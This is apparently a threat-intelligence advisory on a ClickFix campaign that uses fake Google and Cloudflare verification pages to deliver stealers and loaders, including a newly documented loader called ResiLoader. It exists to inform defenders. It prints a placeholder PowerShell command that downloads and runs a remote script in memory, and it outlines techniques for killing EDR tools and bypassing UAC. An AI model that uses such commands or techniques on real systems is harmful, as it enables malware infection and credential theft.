# Fake Google/Cloudflare Verification Pages Spread Multiple Malware Families via ClickFix (HijackLoader, StealC, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, ResiLoader)

> An active ClickFix-style social engineering campaign uses fake Google and Cloudflare verification pages with countdown timers and visitor counters to pressure victims into copy-pasting malicious PowerShell (Windows) and curl/zsh (macOS) commands, distributing a wide range of loaders and infostealers including a previously undocumented .NET NativeAOT loader (ResiLoader) that terminates 140+ EDR/AV processes and bypasses UAC via the ICMLuaUtil COM interface.

- **Published:** 2026-07-02T00:00:00Z
- **Last reviewed:** 2026-07-02T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1077
- **ID:** TL-2026-1077
- **Severity:** CRITICAL
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 45 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Malwarebytes Threat Intelligence identified an active, professionally operated ClickFix campaign that impersonates Google and Cloudflare human-verification / bot-check pages. Victims land on these pages via repurchased expired domains, Cloudflare Pages (.pages.dev) subdomains, compromised legitimate websites, and fake utility sites (QR code generators, file-access tools). The pages use urgency mechanics — countdown timers and fake visitor counters — to pressure the visitor into copying a clipboard-injected command and pasting it into the Windows Run dialog or PowerShell, or (for macOS visitors) a Terminal/zsh command using curl.

The canonical Windows command pattern is `powershell -c "iex(irm 'http://{IP}:{Port}/{Path}' -UseBasicParsing)"`, which downloads and executes a remote script in-memory (fileless first stage). The dropped script stages a working directory at `C:\ProgramData\Zooms` and retrieves second-stage payloads either from direct attacker IP infrastructure or from abused Cloudflare R2 object-storage buckets, several of which serve an HTML response containing the string "hehe" as an operator fingerprint/easter egg.

The campaign fans out into at least ten distinct malware families depending on the lure/affiliate branch: HijackLoader, StealC infostealer, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, a Rust-based stealer, a previously undocumented .NET NativeAOT loader dubbed ResiLoader, a Deno-based loader, and a pure PowerShell stealer. ResiLoader is the most technically notable component: it decrypts embedded payloads (including a vulnerable/abusable driver, pcdhost.sys, and a StealC payload), abuses the OPSWAT AppRemover driver (a legitimate security-vendor uninstall utility) to forcibly terminate 140+ EDR and antivirus processes (a Bring-Your-Own-Vulnerable-Driver / EDR-killer technique), bypasses User Account Control via the ICMLuaUtil COM interface elevation-of-privilege trick, establishes persistence under a `C:\ProgramData\Google Update` masquerade path, and executes via process hollowing of the legitimate `ServiceModelReg.exe` binary. Related loaders in the family observed in adjacent 2025-2026 ClickFix waves (CastleLoader, EVALUSION/Amatera+NetSupport) show the same broad pattern: PureCrypter-packed stealer DLLs reflectively injected into legitimate processes (MSBuild.exe, svchost.exe), followed by credential/wallet/session-token harvesting and RC4- or similar-encrypted C2 exfiltration.

Infrastructure observed includes distribution/C2 domains, direct payload-hosting IPs concentrated on the Dedik Services Limited ASN, and multiple Cloudflare R2 storage buckets used as payload CDNs — an increasingly common technique to blend malicious downloads into trusted-cloud traffic and evade domain-reputation blocking. No specific threat actor or nation-state attribution has been published; the operation shows hallmarks of a commodity malware-as-a-service / traffic-distribution-system (TDS) affiliate operation given the breadth of unrelated malware families riding the same delivery infrastructure, consistent with the broader 2025-2026 ClickFix ecosystem (EVALUSION/Amatera+NetSupport, CastleLoader/BackgroundFix, SmartApeSG) that shares the same social-engineering primitive across multiple independent operators.

## MITRE ATT&CK

- T1189 Drive-by Compromise
- T1566 Phishing
- T1059.001 PowerShell
- T1059.004 Unix Shell
- T1204.004 Malicious Copy and Paste
- T1106 Native API
- T1547.001 Registry Run Keys / Startup Folder
- T1543 Create or Modify System Process
- T1548.002 Bypass User Account Control
- T1055 Process Injection
- T1685 Disable or Modify Tools
- T1211 Exploitation for Stealth
- T1055.012 Process Hollowing
- T1036.005 Match Legitimate Resource Name or Location
- T1140 Deobfuscate/Decode Files or Information
- T1070 Indicator Removal
- T1218 System Binary Proxy Execution
- T1620 Reflective Code Loading
- T1555.003 Credentials from Web Browsers
- T1552.001 Credentials In Files
- T1082 System Information Discovery
- T1518.001 Security Software Discovery
- T1057 Process Discovery
- T1005 Data from Local System
- T1113 Screen Capture
- T1560 Archive Collected Data
- T1071.001 Web Protocols
- T1105 Ingress Tool Transfer
- T1573.001 Symmetric Cryptography
- T1102 Web Service
- T1041 Exfiltration Over C2 Channel
- T1583.001 Domains
- T1584.006 Web Services
- T1588.001 Malware

## Sources

- [Fake Google and Cloudflare verification pages spread multiple malware families](https://www.malwarebytes.com/blog/threat-intel/2026/07/fake-google-and-cloudflare-verification-pages-spread-multiple-malware-families)
- [How ClickFix Opens the Door to Stealthy StealC Information Stealer](https://www.levelblue.com/blogs/spiderlabs-blog/how-clickfix-opens-the-door-to-stealthy-stealc-information-stealer)
- [ClickFix to StealC: Fileless CAPTCHA Stealer Chain](https://socprime.com/active-threats/stealthy-stealc-information-stealer/)
- [Deconstructing the ClickFix Infection Chain Part 2 – Loader Obfuscation and Stealth Persistence](https://cybercentaurs.com/blog/deconstructing-the-clickfix-infection-chain-part-2-loader-obfuscation-and-stealth-persistence/)
- [CastleLoader Malware Infects 469 Devices Using Fake GitHub Repos and ClickFix Phishing](https://social.cyware.com/news/castleloader-malware-infects-469-devices-using-fake-github-repos-and-clickfix-phishing-c11a9f35)
- [New EVALUSION ClickFix Campaign Delivers Amatera Stealer and NetSupport RAT](https://thehackernews.com/2025/11/new-evalusion-clickfix-campaign.html)
- [Amatera Stealer, NetSupport RAT spread in ClickFix campaign](https://www.scworld.com/brief/amatera-stealer-netsupport-rat-spread-in-clickfix-campaign)
- [ClickFix Removes Your Background but Leaves the Malware](https://www.huntress.com/blog/clickfix-castleloader-backgroundfix)
- [Amatera Stealer Campaign Uses ClickFix to Deploy Malware, Bypassing EDR by Patching AMSI in Memory](https://securityonline.info/amatera-stealer-campaign-uses-clickfix-to-deploy-malware-bypassing-edr-by-patching-amsi-in-memory/)
- [SmartApeSG ClickFix Campaign Delivers Remcos, NetSupport RAT, StealC and Sectop RAT](https://cybersecuritynews.com/smartapesg-clickfix-campaign-delivers-remcos/)
- [700+ education and tech websites hijacked in huge ClickFix malware campaign](https://www.malwarebytes.com/blog/bugs/2026/05/700-education-and-tech-websites-hijacked-in-huge-clickfix-malware-campaign)
- [Detecting and Stopping ClickFix Attacks Before They Reach Your Endpoints](https://www.opswat.com/blog/detecting-and-stopping-clickfix-attacks-before-they-reach-your-endpoints)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1077